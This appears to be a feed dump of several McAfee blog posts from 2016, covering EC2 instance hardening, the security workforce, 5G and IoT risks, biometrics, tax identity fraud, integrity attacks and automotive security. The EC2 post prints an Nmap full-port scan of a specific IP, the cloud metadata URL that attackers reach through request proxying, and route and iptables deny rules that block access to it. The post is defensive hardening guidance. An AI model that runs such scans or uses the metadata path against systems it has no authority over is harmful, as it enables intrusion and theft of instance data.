Secure Your Instance of Amazon’s Elastic Compute Cloud https://securingtomorrow.mcafee.com/business/secure-instance-amazons-elastic-compute-cloud/ https://securingtomorrow.mcafee.com/business/secure-instance-amazons-elastic-compute-cloud/#respond Wed, 23 Mar 2016 22:15:40 +0000 https://blogs.mcafee.com/?p=48635 This blog post was written by Dileep Dasari. It is absolutely necessary to secure resources in the cloud. Moving your resources to the cloud does not make your data 100% secure. You are actually moving to a shared security responsibility model in which you share responsibilities with the service provider, such as Amazon, and not […]

The post Secure Your Instance of Amazon’s Elastic Compute Cloud appeared first on McAfee Blogs.

]]>
This blog post was written by Dileep Dasari.

It is absolutely necessary to secure resources in the cloud. Moving your resources to the cloud does not make your data 100% secure. You are actually moving to a shared security responsibility model in which you share responsibilities with the service provider, such as Amazon, and not abandoning your cares. This model reduces the operational burden for securing the infrastructure that supports the cloud, but we are still responsible for securing whatever we put in the cloud.

Moving applications to the cloud changes the attack surface, but the vulnerabilities at application, database, and network level still persist. To address these issues, setting up the perimeter is critical. You might have plenty of experience with on-premises data centers but the cloud is different. Let’s dive deeper into securing your cloud with an instance of Amazon’s Elastic Compute Cloud (EC2):

Reduce the attack surface

The basic principles don’t change. Run a port scan using a tool such as Nmap specific to an instance IP and lock down all the unnecessary open ports. This is the first step in the defense-in-depth approach. For example, to scan all the TCP ports open on a host:

nmap -p 1-65535 –t4 –A –v 54.187.225.8

All the traffic to an instance can be controlled by a security group, a virtual firewall that controls the inbound and outbound traffic. It can be configured from an EC2 dashboard. By default, the security group attached has limited protocols/ports open to allow traffic from the Internet. However, these can be modified depending on user requirements that could make them vulnerable. To edit a security group, follow these steps:

Running instances -> select any instance -> security groups from description

20160323 EC2 instance 1

Private subnet instances are accessible only internally. So creating security group rules that allow inbound connections publicly (0.0.0.0/0) doesn’t make sense. Identify those settings and get rid of those rules.

 

Remove password-based authentication

To secure the authentication mechanism, disable password-based authentication. Amazon disabled this option by default for Ubuntu/Linux instances. We recommend leaving those default settings for added security. Public/private key–based authentication should be used to log into an application via SSH. Amazon provides a good reference on how to create key pairs. If you are using customized Amazon Machine Images (AMIs), make sure to disable the password-based authentication from the SSH daemon configuration file. For critical systems, allowing SSH ports to the entire Internet is not a good practice; restrict them to specific IPs through whitelisting.

 

Meta and user data: lock it down

Instance metadata is information about your EC2 instance that can be used to configure or manage a running instance. You can attach scripts to configure AMIs during launch to make more generic instances. This instance metadata can be available from your running instance in multiple ways. To view all categories of instance metadata from a running instance, use the following URI:

http://169.254.169.254/latest/meta-data/

Amazon Web Services (AWS) attaches a metadata server to each running instance and the preceding server IP address is common for any instance. This advice just touches the surface; there are many resources available online on how to add and retrieve metadata. You can use a tool such as cURL to retrieve the metadata of an instance:

 

20160323 EC2 instance 2

The metadata contains sensitive information such as private IPs, instance IDs, host names, etc. Similarly, user data can be accessed from a running instance. That data can be exploited if an application sitting on EC2 is vulnerable to HTTP request proxying. (A paper from Andres Riancho explains this attack surface in great detail.) Because data theft can cause a severe impact, let’s look at securing meta and user data.

Tighten the security to access the metadata/userdata folder to only root-owned processes with permissions set to 400 upon launching an instance. The routing service can be turned off once data has been collected, with the following command:

route add –host 169.254.169.254 reject

20160323 EC2 instance 3

This step will prevent nonroot users from accessing the data. To access the data, the root account would have to be compromised and the preceding configured route settings deleted.

Alternatively, configure the iptables that predefine the firewall rules to allow connections only to root.

iptables –A OUTPUT –m owner ! –uid-owner root –d 169.254.169.254 –j DROP

 

Conclusion

The default setup of EC2 is always insecure. Configure AWS settings to industry standards to better secure your instance. At any cost you should protect user data. The security of an API is such that it checks only the origin of calls. If somehow, an attacker gets control over that data or your application allows code execution on your instance, you need to be prepared to block that access.

The post Secure Your Instance of Amazon’s Elastic Compute Cloud appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/secure-instance-amazons-elastic-compute-cloud/feed/ 0
Cybersecurity Suffers Due to Human Resources Challenges https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybersecurity-suffers-due-human-resources-challenges/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybersecurity-suffers-due-human-resources-challenges/#respond Mon, 21 Mar 2016 04:01:02 +0000 https://blogs.mcafee.com/?p=48196 The cybersecurity industry is in a state of disrepair. Growing human resource problems put the efforts to secure technology at risk, due to insufficient staffing, skills, and diversity. The need for talent is skyrocketing, but there are not enough qualified workers to meet current or future demands. By 2017 prospective hiring organizations may have upwards […]

The post Cybersecurity Suffers Due to Human Resources Challenges appeared first on McAfee Blogs.

]]>
Cyber HR Challenges

The cybersecurity industry is in a state of disrepair. Growing human resource problems put the efforts to secure technology at risk, due to insufficient staffing, skills, and diversity.

The need for talent is skyrocketing, but there are not enough qualified workers to meet current or future demands. By 2017 prospective hiring organizations may have upwards of two million unfilled security-related positions. With supply low and demand high, prices rise quickly.

Security roles benefit on average from a US$12,000 pay premium compared with other computer-related jobs. Job growth in the digital security field outpaced IT positions by a factor of two, and at 12 times the rate of the overall job market. As a consequence, hiring companies have become very creative in their attempts to attract talent. Industry headhunting practices are more aggressive and frequent to meet the demand. Companies must not only deal with the challenges of hiring, they must also maneuver carefully to retain the professionals they currently have.

Adding to the problem is a lack of diversity. The industry needs greater inclusion of more diverse people who produce new ideas and practices. Without an expanding range of perspectives, the industry remains encumbered by traditional thinking. It becomes limited by the boundaries imposed by homogeneous experiences, while the threats evolve and blossom in both size and depth of imagination.

Finally, graduates lack consistency and applicability of skills. Cybersecurity is a rapidly changing field, requiring students’ growth and knowledge to keep pace with relevant methods and technologies. The education system faces tremendous challenges to reliably prepare the next generation of cybersecurity professionals to protect the digital world we want to live in.

To correct the problem, the industry needs to attract a broader pool of students, including women and underrepresented minorities, to sufficiently meet demand and provide their varied perspectives to the workforce. Academia must align education practices to deliver greater consistency and timeliness of skills in high demand to suit a rapidly evolving employment landscape. Only then will we achieve a sustainable position to create the future generations of cybersecurity professionals necessary to protect our technologies.

 

I recently spoke at the ICT Educator Conference and highlighted the workforce challenges, the need for more diversity, and how McAfee is working to improve the academic pipeline. One of the highlights I discussed was McAfee’s $300 million investment in diversity. This investment is a great example of how a corporation can make a difference in the hiring, progression, and retention of a diverse workforce; contribute to building a sustainable flow of talent; and directly support other organizations doing the same. Finally, I discussed how academia is shifting to build a formal degree program for cyber science–related fields. These steps will ease the frustrations of hiring organizations by improving the consistency of skills that applicants bring to the table.

There is much work to be done, but efforts to fix the workforce and its talent will benefit everyone. Teamwork among educators, government, and the business community is the only way we will overcome the human resource challenges impeding cybersecurity.

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Cybersecurity Suffers Due to Human Resources Challenges appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybersecurity-suffers-due-human-resources-challenges/feed/ 0
5G Networks Pose Cyber Risks, Opportunities https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5g-networks-pose-cyber-risks-opportunities/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5g-networks-pose-cyber-risks-opportunities/#respond Fri, 18 Mar 2016 04:01:27 +0000 https://blogs.mcafee.com/?p=48170 Fifth-generation networking (5G) holds the potential for a massive immersion of technology into the lives of people and businesses. It is an evolution of technology that could allow enough bandwidth for 50 billion smart devices, driving toward a world in which everything that computes will be connected. Such transformative technology opens great opportunities, but also presents new […]

The post 5G Networks Pose Cyber Risks, Opportunities appeared first on McAfee Blogs.

]]>
5G security

Fifth-generation networking (5G) holds the potential for a massive immersion of technology into the lives of people and businesses. It is an evolution of technology that could allow enough bandwidth for 50 billion smart devices, driving toward a world in which everything that computes will be connected. Such transformative technology opens great opportunities, but also presents new unimaginable risks. The scalability of improved speed, connections, and responsiveness will fuel unprecedented growth of data from more sensors and devices in our cities, homes, vehicles, and close to or within our bodies. These devices will have access to our personal events and conditions, and will provide new experiences of convenience, entertainment, and productivity—all of which pose amplified security, safety, and privacy concerns.

The fifth generation of networking represents an important technology enabling the next wave of computing devices to be connected for the benefit of users. Upcoming 5G networks are designed to be vastly superior to our current 4G LTE mobile networks by potentially increasing data speeds from 30 to even 100 times, shortening the latency for responsiveness, and perhaps most important scaling to connect the billions of devices anticipated in the coming years. Cars, smart clothing, ingestible health sensors, home appliances, drones, street signs, light posts, industrial equipment, and many more items in just about every field imaginable will connect and share data.

In many ways, this movement will bring computing to a more personal level. The wearables, embedded sensors, smart vehicles, home automation, individualized healthcare and monitoring, and environment-aware entertainment devices will connect communities and enrich lives. Devices will more easily and reliably share information, and work together to enhance our convenience, productivity, safety, health, and interpersonal connections with the people we care about. But such powerful tools can also be leveraged by those with malice or insensitivity.

We must protect our technology, data, and privacy from those who intend or would do us harm. The value of 5G networks and devices must include aspects of security, trust, and privacy. We will embrace technology that vastly improves the way we communicate and interact with the world, and at the same time act responsibly to support the establishment of protections for systems and people.

As devices become more intelligent and capable, we trust them to complete physical-world assigned tasks. In doing so, people relinquish a certain amount of control. In most cases this is positive, and could drive sweeping benefits, enhance productivity, and promote safety. Having a smart car parallel park for me is much safer than my bumbling attempts to do the same. I have never really mastered the task, which results in delaying traffic, higher stress levels, and eventually higher insurance rates due to the small dents I will likely cause. So having a car respond to my request to park, measure the space and quickly maneuver the vehicle safely into the spot is nothing short of blissful magic for those like me who normally drive in endless circles waiting for an easier parking spot. But to gain such a benefit, I must understand that the vehicle is engineered in a way that it has the ability to sense immediate surroundings, accelerate, brake, and turn. This is fine at a slow speeds such as parking, but not so good for passenger safety if a malicious attacker takes control while driving on the highway. In the end, technology is a tool. As 5G rapidly advances the connectivity and capabilities to open the possibilities of a better world, we cannot be ignorant or complacent when it comes to the risks and necessary security.

 

The biggest risks of 5G networks

Safety and privacy, specifically for the emerging Internet of Things (IoT), represent the greatest risk to 5G. The IoT will bring new levels of convenience, automation, awareness, entertainment, and productivity to people’s lives. However, in the wrong hands, such connected smart devices may be turned into tools to undermine our security, invade our privacy, and be misused to become a safety risk.

Some would argue industrial controls hold the greatest risk. But I challenge such positions. Industrial control systems (ICS) have long been in place in our power plants, water treatment, and chemical facilities. Over time these systems gradually get connected to the Internet, but in my opinion the introduction of 5G is not terribly important in this space from a risk perspective. ICS operators have recognized the risks and realize they have been under attack for years. To compensate, they have tried to limit the exposure of these systems and in many cases have not upgraded connectivity on purpose. Smart devices in ICS facilities could in theory be exploited, but more likely targets are sophisticated control systems such as servers and PCs.

As 5G begins to roll out, we expect in 2018–2020, I think consumer devices will hold the greatest risks. I predict the transportation, healthcare, and drone industries will be the most talked about areas for abuses to security, privacy and safety.

Here are some examples of benefits accompanying risks:

Automobiles/autonomous vehicles. Next-generation automobiles and public transportation can use 5G networks to communicate with other vehicles and road sensors to avoid collisions, shorten travel times, and improve fuel economy. But under the control of a malicious attacker, such vehicles may slow the flow of traffic or, even worse, cause a serious crash.

Healthcare. Health monitors can enhance fitness, warn of impending medical conditions, summon help when the user is unable, assist doctors in fine-tuning medications, and aid researchers in finding patterns across dispersed groups for improved treatments for some of the most severe chronic conditions. But such power can also be abused. Personal privacy can be undermined and tampering with data can cause an opposite effect—with potentially serious consequences for patients under medical care.

Drones. Drones are rapidly being adopted to extend the reach of a variety of services and capabilities. They deliver medicines quickly over difficult terrain, assist with the detection and fighting of forest fires, explore hazardous environments, conduct military missions in dangerous zones, give artists new capabilities to capture expressive viewpoints, and may become the workhorse for the rapid package-delivery service of the future. Conversely, they are a risk to passenger planes during takeoff and landing, they have impeded firefighting efforts, could be used as weapons of terror, be a hazard during social protests, and support narcotics smuggling. We have already seen how they can be a nuisance to privacy when watching people in what would normally be considered personal settings.

 

Securing 5G devices

Users, devices, software, networks, and back-end infrastructures must all play a role to improve the security of 5G devices. The improved scalability of connectivity allows for a greater number of devices to communicate and results in the generation of much more data. The devices, applications, and data form a chain that must be protected. The problem is similar to the challenges we currently face with the Internet, just amplified to a much larger scale. Emerging IoT devices represent a new challenge, as they are not as powerful and capable of defending themselves as PCs, servers, and smartphones. Most lack the power and speed to run sophisticated feature-rich security solutions. To compensate, more emphasis will need to be placed in areas such as hardware, networks, application validation, and back-end infrastructures.

 

Establishing trust begins now

Cooperation among technology leaders to define robust standards that embed aspects for stronger security, improved privacy, and greater controls for life safety–related systems is imperative. If security is not proactively addressed, the value of IoT devices on 5G may be undermined by an erosion of the appeal and adoption by customers.

Trust is hugely important. Security must be designed into the 5G standards as part of the foundation, especially when considering its use in IoT connectivity. Privacy aspects, to give users more oversight, default anonymity, and choice, must be included in product and software designs. Systems that may represent a threat to people’s safety should possess elevated levels of security, administration, and control. As consumers embrace technology such as automated transportation and medical management systems, the level of trust must rise to offset the risks.

The industry has reached a point at which security can be woven into the fabric, rather than suffer as a bolted-on afterthought. Leaders in technology must work together now to establish trust in the foundations and uses of 5G. Consumers must do their part and be vocal about their expectations. The demand for security is a critical driver for the delivery by suppliers who want to be competitive and serve their customers.

 

How can technology leaders play a role?

Technology innovation and influence must occur in three areas to support 5G security, safety, and privacy.

  1. Develop architectures and platforms to embed security and trust into the foundations of 5G connected devices and the back-end infrastructures that will handle the vast amounts of data from those devices.
  2. Influence industry best practices and collaboration to establish robust frameworks and technology standards that implement strong security, safety, and privacy principles. McAfee’s automotive team is a great example: Security recommendations and an industry consortium are driving the development of best practices.
  3. Deliver best-in-class security software solutions to protect from rapidly evolving threats on devices and in applications. Software has the greatest flexibility to attune to new threats and the risk appetite of how devices are used. These solutions will be tailored to run within potentially constrained computing environments for small or fixed-function devices as well as on the manageability infrastructure that provides oversight to groups of systems.

5G is coming and brings with it tremendous advancements to connect more and smaller devices to our electronic ecosystem. This ability opens unforeseen opportunities as well as risks. To reap the benefits and minimize the risks, technology leaders and security professionals must work in concert now to make the foundations and subsequent implementations of 5G networking safe, private, and secure.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post 5G Networks Pose Cyber Risks, Opportunities appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5g-networks-pose-cyber-risks-opportunities/feed/ 0
Report Highlights Enterprise Biometric Vulnerabilities, Opportunities https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/report-highlights-enterprise-biometric-vulnerabilities-opportunities/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/report-highlights-enterprise-biometric-vulnerabilities-opportunities/#respond Wed, 16 Mar 2016 04:00:34 +0000 https://blogs.mcafee.com/?p=48174 Authentication in the modern enterprise is becoming more difficult. The risks are rising, but adding more security controls can impede workers and are difficult to integrate into legacy systems. Biometrics may be a better path to improve security while not adversely impacting the user experience. But there are risks; biometric systems are not without vulnerabilities […]

The post Report Highlights Enterprise Biometric Vulnerabilities, Opportunities appeared first on McAfee Blogs.

]]>
Bio Vulns - crop

Authentication in the modern enterprise is becoming more difficult. The risks are rising, but adding more security controls can impede workers and are difficult to integrate into legacy systems. Biometrics may be a better path to improve security while not adversely impacting the user experience. But there are risks; biometric systems are not without vulnerabilities themselves.

ABI Research has recently published an infographic showing a comprehensive view of biometric system vulnerabilities as well as a whitepaper talking to the recommendations for enterprise environments.

The traditional username-password method is entrenched in most businesses, but in desperate need of improvement. The reliance on passwords to gain access to devices, networks, and data is proving to be weaker as attackers are getting better at undermining them. Passwords can be hacked, social engineered, and are a major source of vulnerabilities. Once compromised, they open a vast number of doors for attackers.

Passwords alone are simply not good enough. Users as well as system administrators find them difficult to manage. Changing the status quo is difficult, as the majority of business processes are built to support passwords and workers typically adverse to new security practices.

Biometrics have been in use for some time in limited ways. Considerable advances have prepared the technologies to meet some of the challenges to broader adoption. These steps have created very complex ecosystems to satisfy a variety of demands. But like any technical authentication system, there are potential vulnerabilities at every step. The key to improved biometrics security may be to simplify the technology to lessen the number of vulnerable points of attack. Cost, user experience, and risk aspects must be recognized and proactively addressed for any additional controls.

 

Reducing risk

Multifactor authentication reduces the risk of compromise because it does not suffer from the reliance on just one method to grant access. Attackers must compromise at least two controls. The downside is that by adding additional factors, multifactor authentication can undermine the user experience to the point of affecting productivity and acceptability. Having biometrics satisfy one of the factors in multifactor authentication holds the potential for reducing the friction users must endure, while improving the overall security of the system.

 

User experience

Automating the awareness of users can make authentication a seamless experience. We always carry our biometrics with us. There’s nothing to forget, lose, or break. Advanced technology can make the process even easier, such as tracking a user’s face while at work. A system can be aware so that when the user walks away the machine will lock the screen. Conversely, when the user returns, the system can recognize the face and automatically unlock the system. Such an experience is beneficial to the user while keeping the device safer.

 

Managing costs

SSG_16_02_EvangelistProgram_CyberSecurityImages_Final_BNobody wants to spend money on identity security. Yet there are a plethora of peripherals and secondary devices that enterprises purchase, maintain, manage, and service. Fingerprint scanners, hardware card readers, and digital USB keys are popular but incur additional costs and frustrate users who have to carry the gadgets and cables. What if devices themselves had integrated and trusted components that could do the authentication work? Specialized cameras, microphones, fingerprint scanners, and electronics to securely match the profiles on the machine may be the path forward. Hardware that is optimized and secured, supplanting the need for users to deal with secondary peripherals, could lower the overall total cost of ownership for enterprises.

Is biometrics the answer? It is certainly one answer that is growing in popularity with organizations seeking better security, employee productivity, and paths to reduce costs.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Report Highlights Enterprise Biometric Vulnerabilities, Opportunities appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/report-highlights-enterprise-biometric-vulnerabilities-opportunities/feed/ 0
Criminals are Getting Excited for Tax Filing Season https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/criminals-getting-excited-tax-filing-season/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/criminals-getting-excited-tax-filing-season/#respond Fri, 11 Mar 2016 01:11:31 +0000 https://blogs.mcafee.com/?p=48190 Cybercriminals are plotting to take advantage of tax season, by fraudulently impersonating consumers and scamming Americans. For the citizens of the United States, tax season is upon us, during which we diligently file our annual tax returns with the US Internal Revenue Service (IRS). A big problem, however, is that, in this digital age of […]

The post Criminals are Getting Excited for Tax Filing Season appeared first on McAfee Blogs.

]]>
tax-idtheft-logo

Cybercriminals are plotting to take advantage of tax season, by fraudulently impersonating consumers and scamming Americans. For the citizens of the United States, tax season is upon us, during which we diligently file our annual tax returns with the US Internal Revenue Service (IRS). A big problem, however, is that, in this digital age of electronically filing forms, the checks and balances to protect against fraud have not satisfactorily kept pace.

 

Tax ID fraud a terrible problem

FTC ID theft 2015Cybercriminals are taking advantage of weak identification validation controls to commit tax fraud. Tax identity theft happens when someone files a fake tax return using your personal information and submits information that results in a refund—but to them, not you. They use your name and social security number with fictitious data, such as a different employer and address, to get a tax refund from the IRS. The IRS, not knowing better, accepts the information and is compelled to issue the refund in a very timely manner, else they must pay interest. So the common practice is to accept the information at face value and issue the refund to the submitter. Thieves will have the funds placed on a prepaid debit card or obtain a refund check they will quickly have cashed. If things are later found to be incorrect, the IRS may move to resolve the problem, but the criminal in most cases is long gone. The real citizen is then left with a rejection notice stating a filing has already taken place when they file their legitimate tax forms. It can take a very long time to correct the matter, more than a year to receive an earned refund, and many frustrating hours navigating through the confusing process.

Attackers are committing a lot of fraud and both the IRS and Federal Trade Commission (FTC) are concerned because the problem swells in size every year. Tax or wage ID theft complaints more than doubled, to more than 221,000 in 2015 from 109,000 in 2014. In the United States, ID theft is on the rise. The FTC received more than 490,000 consumer complaints, a 47% increase over 2014, with the biggest contributor to the rise being tax refund fraud. The US Bureau of Justice estimates 17.6 million Americans were victims of identity theft in 2014. That is about 7% of the US population aged 16 years or older.

Most of the IRS efforts to date have centered on prevention. For 2016, the IRS and FTC have rolled out consumer education and incident reporting sites. Tax identity theft, which can include other forms of tax fraud, has been the most common form of identity theft reported to the FTC during the past several years. The IRS prides itself in quick turnaround for processing electronic filings and issuing refunds, aiming for around 10 days. Within that process is a set of filtering algorithms, which improve every year, to identify fraudulent tax submissions. In 2015 the IRS flagged about 5 million suspicious returns, protecting US$11 billion.

Recently, the US federal government targeted south Florida, one of the nation’s hot spots for ID fraud, and issued a Geographic Targeting Order for check cashing companies to take extra steps in verifying customers’ identification before cashing income tax returns. For refund checks greater than $1,000, customers must provide valid government-issued identification, and the check cashing company must take a digital picture of the customer and obtain a clear thumbprint for the transaction to proceed. These are extreme measures to be sure, but one targeted specifically for two counties to stem the flow of tax fraud.

 

Best practices to protect yourself against tax ID fraud

  • File your taxes as early as possible. Sadly, it is a race. The first submission, whether it be yours or a fraudster’s, will likely be the return accepted from the IRS. So get your tax return into the IRS as fast as possible. File electronically if you don’t already to expedite the process.
  • Protect your social security number (SSN). Nowadays, many organizations from healthcare to utilities may ask for your SSN. Challenge them and verify how they will use and protect the information. For every company that has your SSN, the chance of its being exposed due to a data breach goes up. Many companies will use the SSN as a unique identifier or as part of a verification process, but some are open to using a different number if asked. So ask!
  • Check your credit report. Unusual activity can be an indicator of trouble. Get a copy and look for activity that you did not initiate. By law, these reports are free at least once a year. Go to the FTC site for more information or directly to com to order your free annual report.
  • Report ID theft quickly. Visit IdentityTheft.gov, the federal government’s one-stop resource to help you report and recover from identity theft. You can report theft, get step-by-step advice, sample letters, and your FTC Identity Theft Affidavit. These resources will help you fix problems caused by the theft. If your SSN has been compromised, contact the IRS ID Theft Protection Specialized Unit at 800-908-4490.
  • Consider getting an Identity Protection PIN (form 14039), a six-digit number assigned to eligible taxpayers to help prevent the misuse of their SSN on fraudulent federal income tax returns. However, you currently can’t opt out once you get an IP PIN. You must use the PIN to confirm your identity on all future federal tax returns.

 

Be wary of IRS scams

This time of year IRS scams are rampant. Sometimes they come in the form of a phone call, while others arrive via email. Beware of claims that state you owe money to the IRS and demand immediate payment. The IRS sends only mail, no calls or email.

The IRS will never:

  • Call to demand immediate payment, nor will the agency call about taxes owed without first having mailed you a bill.
  • Demand that you pay taxes without giving you the opportunity to question or appeal the amount they say you owe.
  • Require you to use a specific payment method for your taxes, such as a prepaid debit card.
  • Ask for credit or debit card numbers over the phone.
  • Threaten to bring in local police or other law-enforcement groups to have you arrested for not paying.

If you receive any of these IRS imposter scams, report them to the FTC at ftc.gov/complaint and to the Treasury Inspector General for Tax Administration (TIGTA) online or at 800-366-4484.

 

Be prepared and informed

During tax season be aware and protect your tax return. Early efforts can save you from a long year of frustration.

More information about tax identity theft is available from the FTC and the IRS at:

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Criminals are Getting Excited for Tax Filing Season appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/criminals-getting-excited-tax-filing-season/feed/ 0
Cyber Criminals Gain in Sophistication With Integrity Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-criminals-gain-sophistication/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-criminals-gain-sophistication/#respond Tue, 26 Jan 2016 18:23:54 +0000 https://blogs.mcafee.com/?p=47170 One constant in cybersecurity is the continual rise of sophistication and creativity of attackers. In 2016, we will see a fundamental expansion of their techniques, including the rise of integrity attacks. The industry has become accustomed to traditional availability and confidentiality attacks, which are typically crude but often effective. Denial of service attacks, for example, undermine […]

The post Cyber Criminals Gain in Sophistication With Integrity Attacks appeared first on McAfee Blogs.

]]>
DC tunnel
One constant in cybersecurity is the continual rise of sophistication and creativity of attackers. In 2016, we will see a fundamental expansion of their techniques, including the rise of integrity attacks.

The industry has become accustomed to traditional availability and confidentiality attacks, which are typically crude but often effective.

Denial of service attacks, for example, undermine the availability of websites, services, and resources. Flooding networks, deleting files, and redirecting traffic are some of the brute tactics. Such maneuvers have been around for a long time and are well understood. Security tools and services can control such risks.

Recent data breaches are a great example of confidentiality attacks, which have exposed the personal and business data of millions. Attackers tend to break in, grab all they data they can, and run. Not especially elegant, but it works. The security industry is rapidly gaining traction with tools and practices to prevent such compromises.

IntegrityIntegrity attacks are something new. They are more sophisticated, well planned, and executed. This effort to discreetly modify specific data or transactions and can be much more devastating.

The scale of impact is vastly different. It is not about selling credit card data or compromising ATMs for a few thousand dollars. Instead, it can create huge windfalls for organized criminals and advanced threats.

Last year researchers detected Carbanak, a malicious banking campaign that selectively modified a relatively small number of very specific transactions. This organized group stole $300 million to $1 billion in total from more than 100 banks, just by altering a few transactions. Successes like that reinforce continued activities and further investment by the attackers.

Modifying trusted communications is also on the rise. Even something as simple as taking control of a company’s email system can allow an attacker to conduct fraudulent transactions. Several incidents have emerged in which accounts payable departments have received “urgent” emails from executives to immediately send checks to overseas vendors. Completely fraudulent. The attackers were able to have an interactive discussion in email, successfully impersonating executives, to instruct funds to be transferred.

Ransomware, another example of compromising the integrity of just a few files that remain on a victim’s system, is also growing rapidly. Ransomware will be one of the scourges of 2016. CryptoWall, a popular ransomware package, fleeced more than $320 million last year from unfortunate victims who paid the extortion. Consumers, businesses, and even government agencies paid to have their access restored. The scale of ransomware has never been so great, and it continues to grow, fueled by its own success. The criminals benefit from the distinct advantages of this type of attack and will greedily continue for as long as they can.

When will these integrity problems be solved? Not for some time. They are just beginning to pick up. Integrity attacks are difficult to protect, detect, and recover from. The security industry has not yet adjusted to these emerging challenges, and attackers are taking advantage of the opportunity.

In 2016, sophisticated actors will pursue integrity attacks. This will be a challenging shift in the industry that everyone will have to work to overcome.

The post Cyber Criminals Gain in Sophistication With Integrity Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-criminals-gain-sophistication/feed/ 0
Security on Silicon the Next Big Step in Cyber Protection https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/security-on-silicon-the-next-big-step-in-cyber-protection/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/security-on-silicon-the-next-big-step-in-cyber-protection/#respond Mon, 25 Jan 2016 19:11:07 +0000 https://blogs.mcafee.com/?p=47089 With the growth of the Internet of Things, going from 15 billion to 200 billion devices by 2020, and the focus by attackers to get further down the stack, silicon-based security will play an increasing role in protecting technology and users. As attackers evolve, they get stronger, smarter, and more resourceful. Traditional defensive structures must […]

The post Security on Silicon the Next Big Step in Cyber Protection appeared first on McAfee Blogs.

]]>
Red circuit lock
With the growth of the Internet of Things, going from 15 billion to 200 billion devices by 2020, and the focus by attackers to get further down the stack, silicon-based security will play an increasing role in protecting technology and users.

As attackers evolve, they get stronger, smarter, and more resourceful. Traditional defensive structures must advance to meet the new challenges. Security features embedded or enhanced by silicon can be incredibly powerful and deliver benefits in three areas: reducing risk of comprise, lowering overall cost of ownership, and enhancing user experiences.

From a risk reduction perspective, one of the most important areas gaining traction is Trusted Execution Environments. This is where sensitive functions are migrated from being handled by the operating system and moved into a protected space in the hardware. This step keeps critical routines safely away from malicious actions and other applications, virtual machine monitors, operating systems, or administrative functions that may be compromised. Imagine a banking application running securely on an untrusted or compromised system. This is the ultimate goal: silicon hardware providing a hardened fortress that attackers will find very difficult to invade.

Reducing costs is always a benefit. As security functions such as Trusted Platform Modules and biometric authentications are consolidated into CPUs, the total cost of a device goes down. Integration means fewer hardware components, software, and peripherals are needed. Everyone following a budget can appreciate that!

Lastly, silicon is being designed to deliver security and improve the user experience. For example, modern CPUs benefit from encryption acceleration functions to make encryption run much faster. This allows hard drive and network traffic to be protected with strong encryption protocols at speeds that users don’t notice. Security can become unobtrusive if designed and implemented in smart ways. Silicon advances in identity and authentication can greatly reduce the friction and frustration of users by reducing password use and intelligently automating logins. Hardware has boosted software performance and facilitated better user interfaces for decades. It is time the same benefits are applied to security.

Better security, lower cost, and improved usability benefits. That is the road on which security on silicon will take us to greater benefits in the next few years.

The post Security on Silicon the Next Big Step in Cyber Protection appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/security-on-silicon-the-next-big-step-in-cyber-protection/feed/ 0
Automotive Security Moves Into Cyber Realm https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/automotive-security-moves-into-cyber-realm/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/automotive-security-moves-into-cyber-realm/#respond Fri, 22 Jan 2016 01:23:50 +0000 https://blogs.mcafee.com/?p=47076 The focus on the security of automobiles and the transportation sector as a whole (planes, trains, etc.) is steadily increasing. In 2015 we saw major vulnerabilities in automotive technology, in which researchers were able to remotely take control of vehicles, including the acceleration, braking, and steering. There were also reports of weaknesses in commercial airlines that could […]

The post Automotive Security Moves Into Cyber Realm appeared first on McAfee Blogs.

]]>
Automotive Attack SurfacesThe focus on the security of automobiles and the transportation sector as a whole (planes, trains, etc.) is steadily increasing.

In 2015 we saw major vulnerabilities in automotive technology, in which researchers were able to remotely take control of vehicles, including the acceleration, braking, and steering. There were also reports of weaknesses in commercial airlines that could impact flight systems. It is absolutely critical to understand what dangers will emerge because vehicle control represents a clear danger to life and safety.

The transportation sector stands at a pivotal moment at which the innovation, integration, and pervasiveness of advanced technology is automating control functions that directly impact people’s safety. This year, it is estimated 12% of cars will be connected to the Internet and by 2020, 220 million “connected cars” will be in use—with each one full of potential points of attack.

The intertwined complexities must be understood to appreciate the challenging work ahead. Modern vehicles are miniature computing ecosystems unto themselves, with several computers, on-board storage, networks, applications, sensors, and user accounts. All of which must be protected. These vehicles will not only operate themselves and connect Internet resources with occupants, but will also eventually communicate with each other and massive infrastructure systems while on the road and in the sky. As the requirements for human operation begin to wane, we hand over our safety to digital systems that may be as vulnerable as the other devices in our lives. The need to secure life-safety systems is a daunting endeavor while demand for new features pushes technology forward at breakneck speed.

In 2016, we will see a tremendous amount research working to find vulnerabilities and potential avenues to exploit. Most of this research will be conducted by reputable organizations seeking to proactively highlight problems. We don’t expect malicious hackers to conduct widespread attacks, but some limited campaigns may be attempted.

